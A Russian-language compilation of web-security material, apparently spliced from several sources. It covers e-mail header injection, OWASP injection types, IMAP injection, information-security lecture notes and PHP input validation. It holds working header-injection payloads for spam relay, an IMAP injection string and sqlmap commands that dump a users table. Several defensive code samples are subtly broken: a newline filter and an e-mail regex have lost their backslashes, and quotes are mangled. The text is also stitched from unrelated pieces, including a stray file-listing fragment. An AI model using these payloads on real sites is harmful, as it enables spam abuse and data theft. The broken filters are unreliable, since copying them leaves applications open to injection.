   mail($to, $title, $mess, 'From:'.$_POST['email']);
echo 'Сообщение отправлено.'; } ?>

В этом случае любой желающий
может нагло и явно подставлять
любое количество адресатов. В
качестве $to можно подставить такие
данные:

rcp@mail.ru%0ACC:any_mail@mail.ru%0ABCC:some1@ya.ru,some2@ya.ru%0Ato:some3@ya.ru

Из такого запроса письмо
отправится четырем пользователям
из заголовков TO, CC и BCC. Они
разделены между собой символом
переноса «n» в
шестнадцатеричном виде (0x0A).

Манипуляции с текстом письма

Ранее я уже упоминал про
MIME-формат. Он имеет один
замечательный заголовок, Content type,
который позволяет отправлять любые
вложения в электронном письме. А
еще он может быть использован для
проведения e-mail-инъекции. В качестве
значения Content type можно использовать
multipart/mixed (или multipart/alternative или
multipart/related), тем самым разделяя
письмо на части. Эти части
отделяются друг от друга некоторым
набором символов (boundary). Пример
письма с использованием заголовка
Content-Type выглядит следующим образом:

To: test@mail.ru Subject: Test Injection From:
test_inj@host.ru Content-Type: multipart/mixed;
boundary=»part1″; Скрытый текст — part1
Content-Type: plain/text;

Производим проверку на
инъекцию

— part1- Еще один скрытый текст

Все заголовки до Content-Type мы уже
рассматривали. Далее можно видеть
boundary, значением которой служит
«part1». Это и есть тот набор
символов, который будет разделять
наше письмо. Затем идет текст
«Скрытый текст» — он не будет
виден в почтовом клиенте, так как
расположен до первого обозначения
начала письма, которое идет следом
за ним. Следующий текст будет виден
как текст сообщения, заканчиваться
он будет строкой «- part1-«,
указывающей на конец текста письма.
А за ним идет второй скрытый текст,
который также не будет виден
большинством email-клиентов.

Чтобы организовать такое письмо,
достаточно в качестве отправителя
указать следующие данные:

sender@mail.ru%0AContent-Type:multipart/mixed;%20boundary=»part1″;
%0A-part1%0AContent-Type:text/html%0A%0AТестовый%20Текст.%0A—part1-

Из такого запроса мы получим
следующее сообщение:

To: recip@mail.ru

Subject: Тест инъекции

From: sender@mail.ru

Content-Type:multipart/mixed; boundary=»part1″;

-part1

Content-Type:text/html

Тестовый текст

-part1-

Привет, твой сайт очень
классный!

Полученное письмо будет
содержать только текст «Тестовый
текст» (формат письма будет HTML,
как видно из заголовка
Content-Type:text/html), а «Привет, твой сайт
очень классный!» останется
незамеченным. Такой метод инъекции
подходит для сайтов, в которых есть
функция «Поделиться с другом».
Чаще всего она не позволяет
редактировать текст письма, но
позволяет указать отправителя. В
этом случае достаточно применить
вышеуказанный способ, тогда вместо
оригинального текста,
подставленного авторами сайта,
будет любой, указанный спамером. А
оригинал будет смещен в конец
сообщения, как это сделано в нашем
примере выше.

В сочетании со вторым
рассмотренным примером e-mail
инъекции, можно разослать таким
хитрым способом любые сообщения
большому количеству народа. Для
этого достаточно
подкорректировать ранее
рассмотренный пример таким
образом:

sender@mail.ru%0ASubject:Testing%0ABCC:another_mail@mail.ru%0A
Content-Type:multipart/mixed;%20boundary=»part1″;%0A-part1%0A
Content-Type:text/html%0A%0AТестовый%20Текст.%0A—part1-

Письмо будет сформировано таким
же образом, как и в примере выше.
Однако оно будет отправлено еще
одному получателю, указанному в
заголовке BCC — another_mail@mail.ru. А их может
быть указано очень много.

Вот так довольно-таки легко можно
воспользоваться брешью в защите
web-сайта в своих целях. Что и делают
нехорошие люди, о чем
свидетельствуют, например, письма,
приходящие мне на почту. Анализ
заголовков показал, что это и есть
та самая E-mail Injection. Собственно,
поэтому я и решил написать эту
статью. Чем меньше будет уязвимых
сайтов, тем меньше будет поток
спама. Поэтому предлагаю
рассмотреть способы защиты web-сайта
от инъекций подобного рода.

Четыре эшелона обороны

Способов защититься от подобной
атаки довольно много, некоторые из
них очень даже просты в реализации.
Но, несмотря на это, мало кто
заботится о безопасности. Я
рассмотрю несколько самых
актуальных и действующих
алгоритмов. Советую защитить свой
сайт одним из них, если у вас есть
форма обратной связи, или
что-нибудь, позволяющее отправлять
письмо.

Задача защиты от e-mail injection
сводится к фильтрации введенных
данных («золотое правило»
безопасности), а точнее — проверке
на присутствие переносов строк (rn).
Реализовать это можно по-разному:

1) С помощью регулярных выражений
(Regex). Код проверки очень прост:

<?php
 $from = $_POST["sender"];
 if (eregi("(r|n)", $from)) { 
  die("Неверно заполнены поля формы!"); } 
?>

Проверять таким способом надо все
поля: тема, отправитель и прочие.

2) С помощью специальных классов
для PHP. Это Zend_Mail, PEAR Mail и Swift Mailer. Все
они в обязательном порядке
проверяют указанные данные на
попытку произвести инъекцию. Найти
их в Интернете не составит труда,
поэтому ссылки я приводить не буду.

3) Установить mod_security на сервер. Для
проверки и защиты от инъекции
потребуется настроить его на
фильтрацию фраз «bcc», «to» и
«cc» в POST и GET запросах. Для этого
надо создать следующее правило в
настройках mod_security:

SecFilterSelective ARGS_VALUES
«n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@»

4) Давать возможность заполнить
только текст письма. Это самый
простой способ и один из самых
эффективных. Где же указать email для
обратной связи с отправителем? Ну
пусть укажет его в теле письма. Все
гениальное — просто :).

Заключение

Вот мы и обогатили наш багаж
знаний еще одной уязвимостью
современных web-проектов. Не
забывайте проверять все входящие
данные, будь то SQL-запрос или данные
об отправителе письма на предмет
посторонних символов. На этом я
закончу свою статью, а вам пожелаю
удачи и поменьше спама.

Никита БУЛАЙ,
bulka@sa-sec.org,
SASecurity gr.

Любой источник данных может быть подвергнут этой атаке. Успешной атакой на инъекцию можно считать ситуацию, когда злоумышленник смог передать интерпретатору своё содержимое (формы, модели, полей или код). Инъекции часто распрастранены, особенно в устаревшем коде. Инъекции часто всречаются в запросах SQL, LDAP, XPath, NoSQL, командах ОС. Инъекция может привести в потере или повреждению данных, разглашению посторонним лицам, потере ответственности или отказу в доступе (полному захвату хоста).

Является ли приложение уязвимым?

Приложение можно считать уязвимым, если:

• Введенные пользователем данные не проверяются, не фильтруются или не преобразовываются приложением;
• Динамические запросы или непараметрические вызовы без контекстно-зависимого экранирования используются непосредственно в интерпретаторе;
• Введенные пользователем данные используются в параметрах поиска объектно-реляционного отображения (ORM) для извлечения дополнительных конфиденциальных записей;
• Введенные пользователем данные непосредственно используются без дополнительных проверок;

Как предотвратить

• Использовать безопасный API, который полностью исключает использование интерпретатора, предоставляет параметризированный интерфейс;
• Использовать проверку ввода по «белым спискам» на стороне сервера. Это не полная защита, т.к. для многих полей требуются специальные символы;
• Экранировать спецсимволы;

Типы инъекций:

HTML

Пользователь может контролировать ввод и внедрить произвольный HTML в уязвимую веб-страницу. Эта уязвимость может иметь множество последствий, таких как раскрытие файлов cookie, или, в более общем плане, она может позволить злоумышленнику изменить содержимое страницы, увиденное посетителями.

    var userposition=location.href.indexOf("user=");
    var user=location.href.substring(userposition+5);
    document.getElementById("Welcome").innerHTML="Hello, "+user;

Защита: экранирование спецсимволов.

iFrame

Как правило, это подмена src у существующих iframe, либо добавление новых, которые могут сниффить нажатия кнопок.

 <iframe src="http://dangeroussite.com" ></iframe>

 Защита: проверка src у iframe.

LDAP

Инъекция LDAP — это атака на стороне сервера, которая может раскрыть, изменить или вставить конфиденциальную информацию о пользователях и хостах, представленных в структуре LDAP. Это делается путем манипулирования входными параметрами, которые затем передаются во внутренние функции поиска, добавления и изменения.

Защита: проверка ввода через белый список, снижение привелегий для учетных записей LDAP.

Инъекции в почтовых заголовках

Атака возможна, если сервер отправляет сообщение по поручению клиента.

Полезная ссылка: https://www.owasp.org/index.php/TestingforIMAP/SMTPInjection(OTG-INPVAL-011)

Защита: парс полей почты, чтобы было невозможно вставить в тело письма вредоносный js и выполнить через (eval), а в тело адреса — другой адрес.

Инъекции команд ОС.

В случае прямого доступа к ОС возможно выполнение нежелательных команд на сервере.

Полезная ссылка: https://www.owasp.org/index.php/OSCommandInjectionDefenseCheat_Sheet

Защита: избегать прямого вызова команд ОС, экранирование спецсимволов, параметризация в сочетании с проверкой входных данных. Средствами дополнительной защиты принято считать переназначение прав, непосредственно для выполнения конкретных задач (создать изолированные учетные записи с ограниченными правами, которые используюстя только для одной задачи).

SSI инъекции

Полезная ссылка: https://www.owasp.org/index.php/Server-SideIncludes(SSI)_Injection

SQL инъекции

SQL инъекции возможны, когда разработчики ПО создают динамические запросы к базе данных, которые включают вводимые пользователем данные. Избежать SQL инъекций достаточно просто. Разработчикам необходимо: 1. Прекратить написание динамических SQL запросов 2. Не допускать влияния введенного пользователем кода, содержащего вредоносный SQL на логику выполнения запроса

Защита: использование хранимых процедур, проверка ввода белым списком, экранирование всех вводимых пользователем данных.

К дополнительной защите можно отнести усечение привелегий для учетных записей, из-под которых выполняются запросы.

Полезная ссылка: https://www.owasp.org/index.php/SQLInjectionPreventionCheatSheet

Пример проведения атаки.

Адрес для тестирования атаки: http://testphp.vulnweb.com/listproducts.php?cat=1

Инструменты: Windows (Havij), Linux (SqlMap)

SqlMap web site: http://sqlmap.org/ https://github.com/sqlmapproject/sqlmap/wiki/Usage

sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

находим две базы MySql:

                * acuart

                * information_schema

sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

находим список таблиц

sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --coluns

выводим список колонок

sqlmap –u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass,phone --dump

получаем данные

Полезные ссылки

• https://www.owasp.org/index.php/OWASPProactiveControls#2:ParameterizeQueries
• https://www.owasp.org/index.php/ASVSV5Inputvalidationandoutputencoding
• https://www.owasp.org/index.php/TestingforSQLInjection(OTG-INPVAL-005)
• https://www.owasp.org/index.php/InjectionPreventionCheat_Sheet
• https://www.owasp.org/index.php/SQLInjectionPreventionCheatSheet
• https://www.owasp.org/index.php/InjectionPreventionCheatSheetin_Java
• https://www.owasp.org/index.php/QueryParameterizationCheat_Sheet
• https://www.owasp.org/index.php/OWASPAutomatedThreatstoWeb_Applications
• https://cwe.mitre.org/data/definitions/77.html
• https://cwe.mitre.org/data/definitions/917.html
• https://portswigger.net/kb/issues/00101080_serversidetemplateinjection

Требования: IMAP и SMTP

Внедрение IMAP/SMTP в основном использует команды IMAP/SMTP в качестве входных данных, но использует эти команды для добавления вредоносных целей. Это серьезная уязвимость, которую можно использовать для различных других атак, включая атаки с использованием социальной инженерии. Эта уязвимость затрагивает все веб-приложения, использующие связь с почтовыми серверами (IMAP/SMTP), как правило, службы веб-почты. В тестировании внедрения IMAP/SMTP мы собираемся проверить, возможно ли внедрить произвольные команды IMAP/SMTP в почтовые серверы из-за того, что входные данные не были должным образом очищены.

• Ретрансляция или СПАМ
• Утечки данных
• Уклонение от процессов автоматизации
• Использование уязвимостей, присутствующих в веб-сервере
• Обход основных ограничений

Проверка внедрения IMAP/SMTP:

• Находим все точки внедрения, куда мы можем вводить наши команды.
• Изучение и понимание потока данных и структуры целевой системы.
• Отслеживание влияния вводимых команд.

Определите уязвимые параметры:

Чтобы протестировать уязвимые параметры, вам нужно отправить произвольный код в параметре и проверить ответ от приложения. Следите за поведением приложения и за тем, как оно реагирует на различные данные, помещаемые в параметр. В большинстве случаев, если приложение защищено и имеет хорошие меры безопасности, оно ответит сообщением об ошибке. Если приложение уязвимо, оно примет произвольный код и ответит сообщением HTTP 200 OK.

Пример:

http://<webmail server>/src/read_body.php?
mailbox=INBOX&passed_id=xyz&startMessage=1

В приведенном выше запросе мы можем проверить все возможные способы помещения обработанных данных в поля параметров. Мы можем поместить нулевое значение в параметр почтового ящика. Например:

http://<webmail server>/src/read_body.php?
mailbox=&passed_id=xyz&startMessage=1

Мы также можем заменить случайным значением параметр почтового ящика.

http://<webmail server>/src/read_body.php?
mailbox=XYZ&passed_id=xyz&startMessage=1

Что вы можете сделать во время тестирования для обнаружения уязвимых параметров:

• Вы можете исключить параметр
• Вы можете добавить или удалить параметр
• Вы можете добавить все, что хотите, например, специальные символы или значения.

Тестирование внедрения команд IMAP/SMTP:

Как только вы найдете уязвимый параметр, у вас будет вся информация о поведении приложения для различных входных данных. Теперь пришло время эксплуатации. Ознакомьтесь с подробной статьей о внедрении заголовков SMTP. Эта статья поможет вам лучше понять типичную структуру внедрения IMAP/SMTP.

В основном структура инъекции IMAP/SMTP включает:

• Заголовок
• Тело
• Нижний колонтитул

Внедрение в неаутентифицированном состоянии имеет ограниченные команды, такие как CAPABILITY, NOOP, AUTHENTICATE, log in и LOGOUT, но в аутентифицированном состоянии эксплуатация требует, чтобы пользователь имел привилегии для тестирования.

Предположим, что злоумышленник обнаружил уязвимый параметр с msg_id в приведенном ниже запросе.

http://<webmail server>/read_email.php?msg_id=xyz

В этом случае IMAP-инъекция будет выглядеть так:

http://<webmail server>/read_email.php?msg_id=xyz 
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791

Это сгенерирует следующие команды:

???? FETCH xyz BODY[HEADER]
V100 CAPABILITY
V101 FETCH xyz BODY[HEADER]

Влияние:

• Злоумышленник может воспользоваться уязвимостями, присутствующими в почтовом сервере.
• Используя эту атаку, злоумышленник может обойти ограничение с помощью методов уклонения.
• Эта атака может привести к утечке данных, поскольку электронные письма носят конфиденциальный характер.
• Злоумышленник может спамить сервер данными и нарушить работу службы.

1. Понятия «безопасность» и «информационная безопасность. Различные точки зрения на эти термины.

Безопасность — состояние защищённости
жизненно-важных интересов личности,
общества, организации, предприятия от
потенциально и реально существующих
угроз, или отсутствие таких угроз.

Безопасность информации (данных) —
состояние защищенности информации
(данных), при котором обеспечены её (их)
конфиденциальность, доступность и
целостность.

Информационная безопасность —
защита конфиденциальности, целостности
и доступности информации.

1. Конфиденциальность: обеспечение
доступа к информации только авторизованным
пользователям.

2. Целостность: обеспечение достоверности
и полноты информации и методов её
обработки.

3. Доступность: обеспечение доступа к
информации и связанным с ней активам
авторизованных пользователей по мере
необходимости.

ИБ – защита информационных активов
организации. Уровень защищенности
информационных активов определяется
либо требованиями федеральных законов,
либо возможностями самой организации
степени понимания необходимости лица,
принимающего решения.

1. Какие направления включает в себя комплекс мер по защите информации?

1. Понятие «угрозы информационной безопасности». Статистика и примеры угроз. Проблемы моделирования угроз.

Угроза – запугивание, обещание
причинить кому-либо вред или зло.
Возможная опасность.

У – совокупность условий и факторов,
создающих потенциальную или реальную
опасность нарушения безопасности
информации (Р 50.1.056-2005)

У – потенциальная причина инцидента,
который может нанести ущерб системе
или организации (ИСО 13355-2006)

Перечень угроз (ИСО 13355-3):

— Преднамеренные (повреждение,
проникновение, несанкционированный
доступ, изменение маршрута движения
сообщений, забастовки, отключение
питания, боевые действия)

— Преднамеренные антропогенные (хакеры,
крекеры, фрикеры)

— Непреднамеренные природные
(землетрясения, затопления, ураганы,
молнии)

— Непреднамеренные антропогенные
(ошибки, незнание)

— Непреднамеренные технические (отказы,
сбои)

Проблемы моделирования угроз:

-Моделирование угроз сегодня трактуется
как обязательный компонент при организации
защиты информации. Однако, при использовании
опыта мировых практик, в этом нет
необходимости.

— При построении системы защиты информации
на основе анализа рисков необходим этап
разработки модели угроз, но сегодня
отсутствуют стандарты описания этих
угроз (IDEF)

— Моделирование угроз сегодня никак
не связано с бизнес-процессами!!!

1. Понятие «уязвимость информационной системы». Примеры уязвимостей.

Уязвимость(информационной системы) —
недостаток в системе, используя который,
можно нарушить её целостность,
конфиденциальность, доступность и
вызвать неправильную работу.

Толкование:

1. Условием реализации угрозы безопасности
   обрабатываемой в системе информации
   может быть недостаток или слабое место
   в информационной системе.

2. Если уязвимость соответствует угрозе,
   то существует риск.

Уязвимость может быть результатом
ошибок программирования, недостатков,
допущенных при проектировании системы,
ненадежных паролей, вирусов и
других вредоносных
программ, скриптовых, а
также SQL-инъекций.
Некоторые уязвимости известны только
теоретически, другие же активно
используются и имеют известные эксплойты.

Обычно уязвимость позволяет атакующему
«обмануть» приложение — заставить его
совершить действие, на которое у того
не должно быть прав. Это делается путем
внедрения каким-либо образом в программу
данных или кода в такие места, что
программа воспримет их как «свои».
Некоторые уязвимости появляются из-за
недостаточной проверки данных, вводимых
пользователем, и позволяют вставить
в интерпретируемый код
произвольные команды (SQL-инъекция, XSS).
Другие уязвимости появляются из-за
более сложных проблем, таких как запись
данных в буфер без проверки его границ
(переполнение
буфера).

Метод информирования об уязвимостях
является одним из пунктов спора в
сообществе компьютерной безопасности.
Некоторые специалисты отстаивают
немедленное полное раскрытие информации
об уязвимостях, как только они найдены.
Другие советуют сообщать об уязвимостях
только тем пользователям, которые
подвергаются наибольшему риску, а полную
информацию публиковать лишь после
задержки или не публиковать совсем.
Такие задержки могут позволить тем, кто
был извещён, исправить ошибку при помощи
разработки и применения патчей,
но также могут и увеличивать риск для
тех, кто не посвящён в детали.

Существуют инструментальные средства,
которые могут помочь в обнаружении
уязвимостей в системе. Хотя эти инструменты
могут обеспечить аудитору хороший обзор
возможных уязвимостей, существующих в
сети, они не могут заменить участие
человека в их оценке.

Для обеспечения защищённости и целостности
системы необходимо постоянно следить
за ней: устанавливать обновления, и
использовать инструменты, которые
помогают противодействовать возможным
атакам. Уязвимости обнаруживались во
всех основных операционных системах,
включая Microsoft
Windows, Mac
OS, различные варианты UNIX (в
том числе GNU/Linux)
и OpenVMS.
Так как новые уязвимости находят
непрерывно, единственный путь уменьшить
вероятность их использования против
системы — постоянная бдительность.

Распространённые типы уязвимостей
(примеры) включают в себя:

Нарушения безопасности
доступа к памяти, такие как:

• Переполнения
  буфера

• Висящие
  указатели

Ошибки проверки
вводимых данных, такие как:

• ошибки
  форматирующей строки

• Неверная поддержка
  интерпретации метасимволов командной
  оболочки

• SQL-инъекция

• Инъекция
  кода

• E-mail
  инъекция

• Обход
  каталогов

• Межсайтовый
  скриптинг в веб-приложениях

Состояния
гонки, такие как:

• Ошибки времени-проверки-ко-времени-использования

• Гонки
  символьных ссылок

Ошибки путаницы
привилегий, такие как:

• Подделка
  межсайтовый запросов в
  веб-приложениях

Эскалация
привилегий
(это эксплуатация уязвимостей в компьютерной
системе для получения
доступа к ресурсам, которые обычно
защищены от приложения или пользователя.
Результатом является то, что приложение
выполняет какие-либо действия в контексте
безопасности другого
пользователя, разработчика, системного
администратора или суперпользователя.)

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]

• #
• #
• #
• #
• #
• #
• #
• #
• #
• #
• #

Взлом средств проверки вводимых данных не обязательно введет к взлому приложения. В большинстве случаев он просто вызывает информационную ошибку приложения. Сообщения об информационных ошибках могут содержать пути и имена файлов, названия переменных, описания полей SQL, ошибки сервлетов (включая список используемых и основных сервлетов), сооб­щения об ошибках баз данных (ADO-ошибки) или любую другую информацию о приложе­нии. Запоминайте все мельчайшие детали в полученной информации, потому что при нали­чии большого количества мелких частей информации может получиться детальная картина приложения, которая может быть использована при серьезном взломе.

Рекомендации по избеганию большинства взломов

Проверка вводимых данных на стороне сервера

Программное обеспечение клиентской части находится под полным контролем пользователя. Вследствие этого все формы и данные, обрабатывающиеся в Web-браузере, могут быть изменены пользователем. Следовательно, для обеспечения эффективной проверки вводимых данных средства проверки должны располагаться на стороне сервера, вне контроля пользователя.

Кодирование символов

Все символы, передаваемые пользователем приложению, осо­бенно имеющие специальное значение в языках HTML и SQL, должны заменяться со­ответствующими кодами. Например, угловые скобки должны представляться в виде кодов &lt и &gt.

Регулярные выражения

Для проверки вводимых данных необходимо использовать специальные выражения для предотвращения ввода некорректных данных.

Строгое определение типов данных

Для ввода численных значений в приложении должны использоваться только поля для ввода численных значений, а для ввода стро­ковых данных только поля, допускающие ввод лишь строковых значений. Кроме того, везде, где возможно, следует применять ограничение длины вводимых данных.

Продуманная система управления ошибками

Независимо от того, на каком языке напи­сано приложение, обработка ошибок в нем должна соответствовать Java-концепциям проверки, перехвата исключительной ситуации и выхода из опасного состояния (try, catch и finally). Сначала нужно проверить предпринимаемые действия. Если возникла исключительная ситуация — перехватить ее, а если это не помогло — выйти из опас­ного состояния. Использование этих спецификаций позволяет корректно обрабаты­вать ошибки приложения и предоставлять пользователю информацию, в которой не содержится критических данных системы.

Обязательная аутентификация

Настройте сервер таким образом, чтобы для доступа ко всем файлам в текущем каталоге пользователю необходимо было бы пройти аутенти­фикацию.

Использование наименьшего уровня привилегий

Для работы Web-сервера и любых Web-приложений используйте учетную запись, обладающую лишь необходимыми приви­легиями в системе. Это поможет существенно снизить вероятность выполнения про­извольного кода даже в тех случаях, когда злоумышленник взломал приложение. Если он не может получить доступ к каталогу /sbin (в котором хранится большинство ин­струментов для администрирования системы), он практически ничего не сможет сде­лать. Сравните эту ситуацию с той, когда приложение было запущено с привилегиями суперпользователя, вследствие чего хакер, взломав приложение, тут же получил воз­можность выполнять на сервере любые команды.

Итог

Присутствие на Web-сервере приложения, позволяющего вводить любые данные, является лишь только начальной фазой взлома, может стать основой для взломов путем внедрения SQL, получения списка каталогов сервера, переполнения буфера или даже выполнения команд oперационной системы. Проверка на корректность вводимых пользователем данных является важнейшей процедурой обеспечения безопасности Web-серверов, которой не стоит пренебрегать.

Поиск возможностей взлома средств проверки вводимых данных следует вести в следующих направлениях:

• Передача произвольного параметра в GET-запросе.
• Передача произвольного параметра в POST-запросе.
• Проверка полей формы (электронные адреса, домашние адреса, имена, комментарии).
• Проверка полей ввода данных для поиска.
• Проверка значений, передаваемых в файлах cookie .
• Проверка задаваемых пользователем переменных среды браузера (User agent, IP address, Operating  System и т.д.).

Как дополнение, имеется небольшой список соответствия некоторых символов и их URL-кодировок. Приведенные символы не обязательно должны использоваться при взломах и не обязательно вызывают ошибку в работе приложения. Однако при определенном терпении и знаниях их можно использовать для взлома.

Выполнен анализ проблем, которые возникают при проверке корректности данных в web-приложениях. Предложены методики проверки корректности ввода данных на основе функций PHP и защиты от SQL-инъекций.

Разработка надежных приложений — цель каждого разработчика. Правильность ввода первичных данных в приложение является одним из основных методов, используемых для повышения надежности приложения. В web-приложении пользователь обеспечивает ввод, чтобы манипулировать приложением. При вводе данных могут возникнуть ошибки во время набора вводимой информации [1]. «Проверка ввода» является практикой программирования, в котором разработчик web-приложения пытается обнаружить неправильные входные данные пользователя и сделать соответствующее предупреждение. Необходимость проверки объясняется следующим: при разработке серьезных web-приложений есть много причин, которые могут навредить стабильной работе приложения и целостности данных. Во время написания приложения сценарии отказа возникают, один за другим и должны быть обработаны разработчиком.  Здесь  потребуется  обработка  данных  введенных  пользователем,  обработка  приведет к снижению сценариев отказа в значительной степени. «Проверка входных данных» позволяет быть уверенным и сосредоточить внимание на основах приложения, а не тратить время обработки каждого случая входных данных [2].

Существуют различные способы [3], через которые к web-приложению получат доступ:

1. Веб-формы.
2. Клиентские приложения.
3. Приложения и службы.
4. Файлы на основе записей.

Поэтому для стабильной работы приложений необходимо, чтобы все эти входы проверялись по определенными  правилами.   Для  этого   у  каждого   поля  должен  быть  определенный  тип      данных и ограничительные условия для каждого поля ввода, этот процесс проверки будет охватывать большинство входных сценариев почти для всех приложений.

Различают несколько методов проверки вводимых данных на корректность [4]:

1. Ограничение длины вводимой информации.

Если от пользователя требуется ввести текст не более некоторого количества символов, можно, конечно, задать свойство maxlength у соответствующего input’а, но этот вариант не безопасен, ибо данные могут придти и в обход формы. Поэтому для этих целей лучше использовать функцию substr: 

$variable = substr($HTTP_POST_VARS[‘variable‘], 0, 10); 

1. Проверка на наличие специальных символов.

Перед вставкой принятых от пользователя строковых данных в БД их следует проверить на наличие спецсимволов и экранировать их. Лучше всего для этого использовать функцию mysql_escape_string: 

$sql = »INSERT INTO table VALUES »« . mysql_escape_string($text) 

1. Числовые данные.

Если пользователем передаются числовые данные, то перед использованием рекомендуется их проверить на то, действительно-ли они являются числами. Делается это с помощью функции intval: 

$myint = intval($_POST[‘myint‘]); 

1. Проверка на корректность адреса Email.

Прежде, чем отправлять на указанный пользователем email-адрес какие-либо письма, необходимо будет выполнить проверку его корректности.

Код, выполняющий проверку данного типа: 

if(!preg_match(«/[a-zA-Z0-9_-.+]+@[a-zA-Z0-9-]+.[a-zA-Z]+/», $email)) die(«некорректный email-адрес»); 

1. Проверка на заполнение необходимых полей.

Ниже приведен код, выполняющий проверку на заполнение полей данными: 

if ($name == »« or $mail == »« or $password == »« or $rpassword == »«)

{ print »Заполните все необходимые поля!<BR>«; $er = 1; } 

Переменная $er = 1 означает, что была ошибка [5].

В настоящий момент при использовании современных средств internet-технологий появилась возможность через поля ввода в web-приложения получать доступ к данным сайта. В этом случае содержимое полей ввода невозможно проверить простыми ограничительными границами и приложение сохраняет вредоносные входные данные. Это особенно относится к свободной форме текста или строковым типам данных. В таких ситуациях, содержание и значение входного поля должны быть проверены на предмет несанкционированного входа — наличие тегов или SQL команд. От SQL инъекции страдает не только база данных MySQL, но и любая база, поддерживающая языки запросов (а таких большинство) [6].

Для того, чтобы предотвратить SQL-инъекции, можно использовать функции языка PHP:

1. Mod_rewrite. Структура предлагаемой информации имеет следующий вид — вместо ссылок вида index.php?id=1, например, используются ссылки вида html. Кроме защиты это придает более эстетический вид ссылок и более качественную индексацию сайта поисковыми системами. Реализация предлагаемого метода выглядит следующим образом в файл .htaccess вписываются строчки: 

RewriteEngine on Options +FollowSymlinks RewriteBase

RewriteRule ^.htaccess$ — [F]

RewriteRule ^([0-9]*).html index.php?id=$1 

Защита от SQL-инъекции происходит следующим образом: при вводе строки, например, http://сайт.ru/1′.html , mod_rewrite не пропустит этот запрос, так как выше упомянутая строка не удовлетворяет условию перенаправления.

1. Следующим методом защиты от SQL-инъекций может быть предложена фильтрация данных, полученных от пользователя. Кроме «обычной» фильтрации данных, экранируются все опасные символы с помощью специальной функции: mysql_real_escape_string.

$data = mysql_real_escape_string ($data, $connect);

Где $data-переменная, хранящая какие-то данные, полученные от пользователя (данную операцию нужно проделать со всеми переменными, используемыми в SQL-запросах!), а $connect — подключение к базе MySQL (задаваемое функцией mysql_connect). Для того, чтобы эта защита работала, любые данные, передаваемые в SQL-запросе, необходимо оформлять одинарными кавычками: 

mysql_query (”SELECT * FROM table WHERE id = ‘$id’”), вместо

mysql_query (”SELECT * FROM table WHERE id = $id”)

Выводы:

1. Предлагается методика проверки корректности заполнения полей ввода на основе функций PHP.
2. Предлагаются методы защиты от SQL-инъекций.

Литература

1. http://www.beansoftware.com/ASP.NET-Tutorials/Validating-ASP.NET-2-0.aspx — Validating User Input In ASP.NET 2.0 Web
2. http://www.devshed.com/c/a/PHP/Advanced-PHP-Form-Input-Validation-to-Check-User-Inputs/ — Advanc ed PHP Form Input Validation to Check User
3. http://www.owasp.org/index.php/How_to_create_a_general_purpose_input_validation_system — How to create a general purpose input validation system.
4. http://www.comptechdoc.org/independent/ programming/ programming-standards/input-validation.html — Input
5. http://www.phpro.org/tutorials/Validating-User-Input.html — Validating user input in
6. http://blog.theringing.net/zashhita-ot-sql-inekcii-s-pomoshhyu-mod_rewrite/ — Защита  от SQL-инъекции с помощью mod_rewrite.